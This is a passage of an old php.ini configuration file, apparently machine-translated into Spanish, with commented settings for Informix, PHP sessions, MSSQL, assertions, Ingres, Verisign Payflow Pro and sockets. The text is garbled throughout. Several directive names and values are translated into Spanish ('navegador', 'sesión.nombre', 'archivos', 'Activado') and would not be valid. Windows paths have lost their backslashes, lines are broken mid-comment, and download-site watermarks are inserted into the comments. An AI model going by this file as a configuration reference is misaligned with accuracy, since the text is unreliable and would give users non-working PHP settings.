navegador = C:WINSYSTEMinetsrvbrowscap.ini
[Informix]
ifx.default_host = ; El host utilizado por ifx_connect() de forma predeterminada (no válido en modo seguro)
ifx.default_user = ; El nombre de usuario predeterminado utilizado por ifx_connect() (no válido en modo seguro)
ifx.default_password = ; la contraseña predeterminada utilizada por ifx_connect() (no válida en modo seguro)
ifx.allow_persistent = Activado; Permitir o deshabilitar conexiones persistentes
ifx.max_persistent = -1; Número máximo de conexiones persistentes -1 significa ilimitadas.
ifx.max_links = -1; Número máximo de conexiones (persistentes y no persistentes -1 significa ilimitadas).
ifx.textasvarchar = 0; si está activado, el símbolo de estado de selección devuelve el contenido de un campo 'blob de texto' en lugar de su identificación.
ifx.byteasvarchar = 0; si está activado, el símbolo de estado de selección devuelve el contenido de un campo 'byte blob' en lugar de su identificación.
ifx.charasvarchar = 0; seguimiento de espacios en blanco eliminados de una cadena de caracteres de longitud fija.
; Puede ser válido para usuarios de Informix SE.
ifx.blobinfile = 0; si está activado, el contenido de los blobs de texto y bytes se exporta a un archivo.
; en lugar de guardar en la memoria.
ifx.nullformat = 0 ; NULL se devuelve como un campo nulo a menos que aquí se establezca en 1.
caso
(1), NULL se devuelve como la cadena NULL.
session.save_handler = archivos; método de control para guardar/recuperar datos;
session.save_path = C:wintemp; Parámetros pasados al controlador cuando save_handler se establece en un archivo,
; Esta es la ruta donde se guardarán los archivos de datos.
session.use_cookies = 1; si se utilizan cookies
sesión.nombre = PHPSESSID
; El nombre de la sesión a utilizar en la cookie.
session.auto_start = 0; Inicializa la sesión cuando comienza la solicitud
session.cookie_lifetime = 0; es el tiempo de almacenamiento de cookies en segundos,
; o 0, hasta que se reinicie el navegador
session.cookie_path = / ; ruta válida de la cookie
session.cookie_domain = ; Dominio válido de la cookie
session.serialize_handler = php; Controlador utilizado para conectar datos
; php es el controlador estándar para PHP.
session.gc_probability = 1; procesos de 'recolección de basura' por porcentaje
; Posibilidad de iniciar cada vez que se inicializa la sesión. Administrador de red bitscn_com.
session.gc_maxlifetime = 1440 ; Después del número de segundos indicado por este número, se considerarán los datos guardados
; 'Fragmento (basura)' y limpiado por el proceso gc.
session.referer_check = ; Verifique las referencias HTTP para invalidar los identificadores adicionales incluidos en las URL
session.entropy_length = 0 Cuántos bytes leer del archivo;
session.entropy_file =; Especifique aquí para crear la identificación de la sesión
; sesión.entropy_length = 16
; sesión.entropy_file = /dev/urandom
session.cache_limiter = nocache; Establecer en {nocache, privado, público} para determinar el HTTP
; problema de almacenamiento en caché
session.cache_expire = 180 El documento caduca después de n minutos;
session.use_trans_sid = 1; Utilice soporte SID transicional, si está habilitado en el momento de la compilación
; --enable-trans-sid
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
;extensión=php_mssql.dll
mssql.allow_persistent=Activado; Permitir o deshabilitar conexiones persistentes;
mssql.max_persistent = -1; Número máximo de conexiones persistentes -1 significa ilimitadas.
mssql.max_links = -1; el número máximo de conexiones (persistentes y no persistentes -1 representa una gestión de red ilimitada u.bitsCN.com).
mssql.min_error_severity = 10 Gravedad mínima de los errores mostrados;
mssql.min_message_severity = 10 Gravedad mínima de los mensajes mostrados;
mssql.compatability_mode = Desactivado; Modo compatible con versiones anteriores de PHP 3.0
[Aserción]
; ? ? ? ?
;assert.active = Activado ; afirmar (expr); activo por defecto
;assert.warning = Activado; emite una advertencia de PHP para cada afirmación fallida.
;assert.bail = Desactivado; no rescatar de forma predeterminada.
;assert.callback = 0 ; función de usuario que se llamará si falla una afirmación.
;assert.quiet_eval = 0 ; evalúa la expresión con error_reporting() actual establecido en verdadero si desea error_reporting(0) alrededor de eval()
.
ii.allow_persistent = Activado; Permitir o deshabilitar conexiones persistentes
ii.max_persistent = -1; el número máximo de conexiones persistentes -1 significa ilimitadas.
ii.max_links = -1; Número máximo de conexiones (persistentes y no persistentes -1 significa ilimitadas).
ii.default_database = ; base de datos predeterminada (formato: [node_id::]dbname[/srv_class]
ii.default_user = ;Usuario predeterminado
ii.default_password = ; Contraseña predeterminada Descarga de administración de red dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com"; servidor Signio predeterminado
pfpro.defaultport = 443; puerto predeterminado para la conexión
pfpro.defaulttimeout = 30; tiempo de espera predeterminado en segundos
; pfpro.proxyaddress =; dirección IP del proxy predeterminado (si es necesario)
; pfpro.proxyport = ;
; pfpro.proxylogon = ; Inicio de sesión de proxy predeterminado (nombre de usuario de inicio de sesión)
; pfpro.proxypassword = ; Contraseña de proxy predeterminada
[Sockets]
sockets.use_system_read = Activado; Utilice la función read() del sistema en lugar del paquete php_read()
; Variables locales: (variables locales)
; ancho de pestaña: 4
; Fin: